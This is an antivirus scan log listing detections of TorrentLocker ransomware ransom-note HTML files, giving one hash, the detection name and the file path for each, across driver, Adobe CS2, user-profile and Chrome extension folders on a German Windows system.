sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\data\search\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\data\weather\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\skin\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\skin\lib\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\skin\lib\panels\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\skin\lib\panels\css\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\skin\lib\panels\default\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\skin\lib\panels\default\css\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\skin\lib\panels\default\images\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\skin\lib\panels\default\scripts\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\skin\lib\panels\images\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\skin\lib\radio\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\skin\lib\radio\css\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\skin\lib\radio\images\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\skin\lib\uwa\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\skin\lib\weatherbutton\icons\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\skin\lib\weatherbutton\panels\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\skin\lib\weatherbutton\panels\images\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\chrome\skin\options\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\FileQuarantine\C\Programme\vmndtxtb\components\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\AdwCleaner\RegistryQuarantine\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\ATI\Support\10-02_legacy_xp32-64_wdm\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\ATI\Support\10-02_legacy_xp32-64_wdm\AVIVO\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\ATI\Support\10-02_legacy_xp32-64_wdm\AVS_HSUSB\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\ATI\Support\10-02_legacy_xp32-64_wdm\AVS_HSUSB\AVS_HSUSB\XP\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\ATI\Support\10-02_legacy_xp32-64_wdm\AVS_HSUSB\AVS_HSUSB\XP\CIR\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\ATI\Support\10-02_legacy_xp32-64_wdm\AVS_HSUSB\AVS_HSUSB\XP64A\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\ATI\Support\10-02_legacy_xp32-64_wdm\AVS_HSUSB\AVS_HSUSB\XP64A\CIR\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\ATI\Support\10-02_legacy_xp32-64_wdm\BIN\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\ATI\Support\10-02_legacy_xp32-64_wdm\TVW_HSUSB\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\ATI\Support\10-02_legacy_xp32-64_wdm\WDM_ALL\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\ATI\Support\10-02_legacy_xp32-64_wdm\WDM_ALL\AVS_T200\XP\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\ATI\Support\10-02_legacy_xp32-64_wdm\WDM_ALL\AVS_T200\XP64A\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\ATI\Support\10-02_legacy_xp32-64_wdm\WDM_ALL\RIO\XP\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\ATI\Support\10-02_legacy_xp32-64_wdm\WDM_ALL\RIO\XP\CIR\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\ATI\Support\10-02_legacy_xp32-64_wdm\WDM_ALL\RIO\XP64A\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\ATI\Support\10-02_legacy_xp32-64_wdm\WDM_ALL\RIO\XP64A\CIR\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\CDLab\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Config.Msi\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\Activation\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\Activation\da_DK\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\Activation\de_DE\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\Activation\en_GB\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\Activation\en_IE\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\Activation\en_US\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\Activation\es_ES\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\Activation\fi_FI\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\Activation\fr_FR\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\Activation\it_IT\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\Activation\ja_JP\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\Activation\ko_KR\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\Activation\nl_NL\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\Activation\no_NO\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\Activation\pt_BR\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\Activation\sv_SE\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\Activation\zh_CN\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\Activation\zh_TW\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\Adobe Bridge Services\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\Adobe Illustrator CS2\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\Adobe InDesign CS2\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\Adobe InDesign CS2\OEM_\Plug-Ins\InCopyWorkflow\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\Adobe Photoshop CS2\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\Adobe Version Cue CS2\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\de_de\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Creative Suite CS2\Adobe Creative Suite 2.0\required\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Documents and Settings\Julie\Application Data\Configuration\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator\Lokale Einstellungen\Anwendungsdaten\Microsoft\Windows\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\databases\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\ar\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\bg\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\ca\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\cs\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\da\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\de\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\el\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\en_GB\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\en_US\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\es\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\es_419\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\et\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\fi\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\fil\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\fr\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\he\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\hi\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\hu\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\id\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\it\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\ja\wie_zum_Wiederherstellen_von_Dateien.html"

sh=4B2BEA952B6927D7A05BED71CD4157859E68389C ft=0 fh=0000000000000000 vn="Win32/Filecoder.TorrentLocker.A Trojaner" ac=I fn="C:\Dokumente und Einstellungen\Administrator.HOME\Lokale Einstellungen\Anwendungsdaten\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek\0.9_0\_locales\ko\wie_zum_Wiederherstellen_von_Dateien.html"

